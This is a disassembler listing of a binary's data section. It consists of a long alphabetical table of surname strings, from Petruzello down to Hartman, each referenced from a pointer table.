		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E9D8o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E9D4o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E9D0o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E9CCo
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E9C8o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E9C4o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E9C0o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E9BCo
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E9B8o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E9B4o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E9B0o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E9ACo
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E9A8o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E9A4o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E9A0o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E99Co
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E998o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E994o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E990o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E98Co
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E988o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E984o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E980o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E97Co
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E978o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E974o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E970o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E96Co
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E968o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E964o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E960o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E95Co
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E958o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E954o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E950o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E94Co
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E948o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E944o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E940o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E93Co
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E938o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E934o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E930o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E92Co
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E928o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E924o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E920o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E91Co
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E918o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E914o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E910o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E90Co
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E908o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E904o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E900o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E8FCo
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E8F8o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E8F4o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E8F0o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E8ECo
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E8E8o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E8E4o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E8E0o
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E8DCo
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E8D8o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E8D4o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E8D0o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E8CCo
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E8C8o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E8C4o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E8C0o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E8BCo
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E8B8o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E8B4o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E8B0o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E8ACo
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E8A8o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E8A4o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E8A0o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E89Co
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E898o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E894o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E890o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E88Co
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E888o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E884o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E880o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E87Co
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E878o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E874o
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E870o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E86Co
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E868o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E864o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E860o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E85Co
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E858o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E854o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E850o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E84Co
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E848o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E844o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E840o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E83Co
aMini		db 'Mini',0             ; DATA XREF: ___:0042E838o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E834o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E830o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E82Co
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E828o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E824o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E820o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E81Co
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E818o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E814o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E810o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E80Co
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E808o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E804o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E800o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E7FCo
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E7F8o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E7F4o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E7F0o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E7ECo
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E7E8o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E7E4o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E7E0o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E7DCo
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E7D8o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E7D4o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E7D0o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E7CCo
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E7C8o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E7C4o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E7C0o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E7BCo
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E7B8o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E7B4o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E7B0o
aMay		db 'May',0              ; DATA XREF: ___:0042E7ACo
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E7A8o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E7A4o
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E7A0o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E79Co
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E798o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E794o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E790o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E78Co
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E788o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E784o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E780o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E77Co
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E778o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E774o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E770o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E76Co
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E768o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E764o
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E760o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E75Co
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E758o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E754o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E750o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E74Co
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E748o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E744o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E740o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E73Co
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E738o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E734o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E730o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E72Co
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E728o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E724o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E720o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E71Co
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E718o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E714o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E710o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E70Co
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E708o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E704o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E700o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E6FCo
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E6F8o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E6F4o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E6F0o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E6ECo
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E6E8o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E6E4o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E6E0o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E6DCo
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E6D8o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E6D4o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E6D0o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E6CCo
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E6C8o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E6C4o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E6C0o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E6BCo
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E6B8o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E6B4o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E6B0o
aLine		db 'Line',0             ; DATA XREF: ___:0042E6ACo
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E6A8o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E6A4o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E6A0o
aLim		db 'Lim',0              ; DATA XREF: ___:0042E69Co
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E698o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E694o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E690o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E68Co
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E688o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E684o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E680o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E67Co
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E678o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E674o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E670o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E66Co
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E668o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E664o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E660o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E65Co
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E658o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E654o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E650o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E64Co
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E648o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E644o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E640o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E63Co
aLa		db 'La',0               ; DATA XREF: ___:0042E638o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E634o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E630o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E62Co
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E628o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E624o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E620o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E61Co
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E618o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E614o
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E610o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E60Co
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E608o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E604o
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042E600o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E5FCo
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E5F8o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E5F4o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E5F0o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E5ECo
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E5E8o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E5E4o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E5E0o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E5DCo
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E5D8o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E5D4o
		align 10h
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E5D0o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E5CCo
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E5C8o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E5C4o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E5C0o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E5BCo
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E5B8o
		align 10h
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E5B4o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E5B0o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E5ACo
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E5A8o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E5A4o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E5A0o
		align 10h
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E59Co
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E598o
		align 10h
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E594o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E590o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E58Co
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E588o
		align 10h
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E584o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E580o
		align 10h
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E57Co
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E578o
		align 10h
aKee		db 'Kee',0              ; DATA XREF: ___:0042E574o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E570o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E56Co
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E568o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E564o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E560o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E55Co
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E558o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E554o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E550o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E54Co
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E548o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E544o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E540o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E53Co
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E538o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E534o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E530o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E52Co
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E528o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E524o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E520o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E51Co
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E518o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E514o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E510o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E50Co
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E508o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E504o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E500o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E4FCo
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E4F8o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E4F4o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: ___:0042E4F0o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E4ECo
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E4E8o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E4E4o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E4E0o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E4DCo
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E4D8o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E4D4o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E4D0o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E4CCo
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E4C8o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E4C4o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E4C0o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E4BCo
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E4B8o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E4B4o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E4B0o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E4ACo
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E4A8o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E4A4o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E4A0o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E49Co
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E498o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E494o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E490o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E48Co
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E488o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E484o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E480o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E47Co
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E478o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E474o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E470o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E46Co
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E468o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E464o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E460o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E45Co
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E458o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E454o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E450o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: ___:0042E44Co
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E448o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E444o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E440o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042E43Co
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E438o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E434o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E430o
aHester		db 'Hester',0           ; DATA XREF: ___:0042E42Co
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E428o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E424o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E420o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E41Co
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E418o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E414o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E410o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E40Co
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E408o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E404o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E400o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E3FCo
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E3F8o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E3F4o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E3F0o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E3ECo
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E3E8o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E3E4o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E3E0o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E3DCo
